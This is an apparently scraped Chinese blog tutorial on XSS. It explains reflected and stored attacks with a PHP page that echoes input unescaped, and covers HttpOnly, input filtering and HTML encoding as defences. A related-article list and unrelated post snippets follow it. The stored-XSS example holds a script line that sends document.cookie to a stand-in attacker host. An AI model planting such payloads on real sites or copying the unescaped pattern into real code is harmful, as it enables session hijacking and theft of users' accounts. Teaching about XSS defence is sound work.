XSS攻击的原理


xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制。

xss攻击主要用户攻击者盗取用户的cookie,由于sessionId是存储在cookie中的,当攻击者获取了用户的cookie,则攻击者可以在session的生命周期内,达到获取被攻击用户的用户权限。

xss攻击可以分成两种类型:

  1. 非持久型攻击
  2. 持久型攻击

1.非持久型攻击

顾名思义,非持久型攻击是一次性的,仅对当前访问产生影响。非持久型攻击要求用户访问一个被攻击者篡改的url地址,用户访问时,被植入的攻击脚本被用户浏览器执行,以达到攻击的目的。

假设有以下页面:

<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http://www.cnblogs.com/chenqf/">Click to Download</a>";
?>

该页面显示两条信息

  • 从URI获取 'name' 参数,并在页面显示
  • 显示跳转到一条URL的链接

这时,当攻击者给出以下URL链接:

index.php?name=guest<script>alert('attacked')</script>

当用户点击该链接时,将产生以下html代码,带'attacked'的告警提示框弹出:

Welcome guest
<script>
  alert('attacked');//获取用户cookie,并将cookie通过网络传输至攻击者,则攻击者获取了用户权限
</script>
<br>
<a href='http://www.cnblogs.com/chenqf/'>Click to Download</a>

当用户打开该地址后,会弹出“attacked”,攻击者可以在此植入javascript代码,以达到操作用户浏览器的目的

2.持久型攻击

持久型攻击是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。

例子如下:A网站为论坛网站,攻击者可以在论坛中发表文章,该文章内包含攻击代码,并保存。

<script>window.open(“www.attacked.com?param=”+document.cookie)</script>

这时,任意用户看到了攻击者发布的文章,并点击进入查看文章,此时之前被植入的攻击代码被执行,将用户的cookie信息传递给攻击者。

XSS攻击的防御


1.HttpOnly防止劫取Cookie

HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。

严格的书,HttpOnly并非为了对抗XSS攻击,HttpOnly解决的是XSS后的Cookie劫持攻击。

某些时候,应用可能需要javascript访问某几项cookie,这种cookie可以不设置为HttpOnly标记,而仅把HttpOnly标记给用于认证的关键Cookie。

2.输入检查 XSS Filter

常见的XSS攻击都需要攻击者构造一些特殊字符,这些字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。

输入检查的逻辑,必须放在服务端代码实现。如果只是在客户端使用javascript进行输入检查,很容易被攻击者绕过。

目前的普遍做法是,在服务端代码和客户端代码中实现同样的代码检查逻辑。

互联网上有很多开源的XSS Filter的实现。

3.输出检查

在变量输入到html页面时,对html代码进行HtmlEncode。

为了对抗XSS,在HTMLEncode中要求至少转换以下字符:

&     –>     &amp;

<     –>     &lt;

>     –>     &gt;

”     –>     &quot;

‘     –>     '

/     –>     /

参考:《白帽子讲Web安全》

web安全-XSS攻击及防御的更多相关文章

  1. web渗透—xss攻击如何防御

    1.基于特征的防御 XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同.这就给XSS漏洞防御带来了困难:不可能以单一特征来概括所有XSS ...

  2. XSS攻击的防御

    XSS攻击的防御 XSS 攻击是什么 XSS 又称 CSS,全称 Cross SiteScript,跨站脚本攻击,是 Web 程序中常见的漏洞,XSS 属于被动式且用于客户端的攻击方式,所以容易被忽略 ...

  3. web安全-xss攻击

    web安全问题 xss攻击 1.html标签 html内容的转义 escapeHtml str = str.replace(/&/g,'&amp'); str = str.replac ...

  4. Web 安全之 XSS 攻击与防御

    前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...

  5. Web 攻击之 XSS 攻击及防御策略

    XSS 攻击 介绍 XSS 攻击,从最初 netscap 推出 javascript 时,就已经察觉到了危险. 我们常常需要面临跨域的解决方案,其实同源策略是保护我们的网站.糟糕的跨域会带来危险,虽然 ...

  6. MVC WEB安全——XSS攻击防御

    XSS(跨站脚本攻击) 描述: 原理:攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的代码会被执行,从而达到攻击用户的特殊目的. 类别: 1)被动注入(Passive Inj ...

  7. 前端XSS攻击和防御

    xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...

  8. XSS攻击及防御

    XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入 ...

  9. XSS攻击及防御(转)

    add by zhj: 略有修改.另外还有一篇文章值得参考,使用 PHP 构建的 Web 应用如何避免 XSS 攻击,总得来说防御XSS的方法是客户端和服务端都 要对输入做检查,如果只有客户端做检查, ...

随机推荐

  1. eclipse-整合struts和spring-maven

    maven配置文件 <!-- servlet --> <dependency> <groupId>javax.servlet</groupId> < ...

  2. Python和shell中Base64编码使用那些事

    做开发第一个接触的编码方式就是Base64,当时是用url来传输一些参数,传输的两端会用Base64来编码和解码,保证数据不被url转义破坏. 下面是 维基百科 Base64 中的介绍,其实自己实现起 ...

  3. Demo1

    <!DOCTYPE html> <html lang="zh"> <header> <meta charset="utf-8&q ...

  4. AngularJs 指令directive之require

    controller的用法分为两种情形,一种是require自定义的controller,由于自定义controller中的属性方法都由自己编 写,使用起来比较简单:另一种方法则是require An ...

  5. oracle to_date 函数

    update pamsodt0p10 set cursysdate =  to_date('2014-12-29 00:00:00','yyyy-mm-dd hh24:mi:ss') where cu ...

  6. Oracle删除重复行

    Oracle删除重复行 分类: ORACLE2010-12-12 17:10 423人阅读 评论(0) 收藏 举报 oracletabledeleteintegerinsert.net 查询及删除重复 ...

  7. Django之AppConfig源码学习

    class AppConfig(object) 这个基类描述了一个Django应用以及它的配置信息. 属性: name:django应用的完整python路径,eg.'django.contrib.a ...

  8. python---购物车---更新

    购物车程序更新: 更新商家入口,实现以下功能: 1. 商家能够修改商品价格: 2. 商家能够下线商品: 3. 商家能够增加商品: 4. 商品信息存在文件中 # -*- coding:utf-8 -*- ...

  9. PYTHON练习题 二. 使用random中的randint函数随机生成一个1~100之间的预设整数让用户键盘输入所猜的数。

    Python 练习 标签: Python Python练习题 Python知识点 二. 使用random中的randint函数随机生成一个1~100之间的预设整数让用户键盘输入所猜的数,如果大于预设的 ...

  10. 关于react router 4 的小实践

    详细代码栗子:https://github.com/wayaha/react-dom-CY clone然后 npm install npm start 分割线 1.这个项目使用create-react ...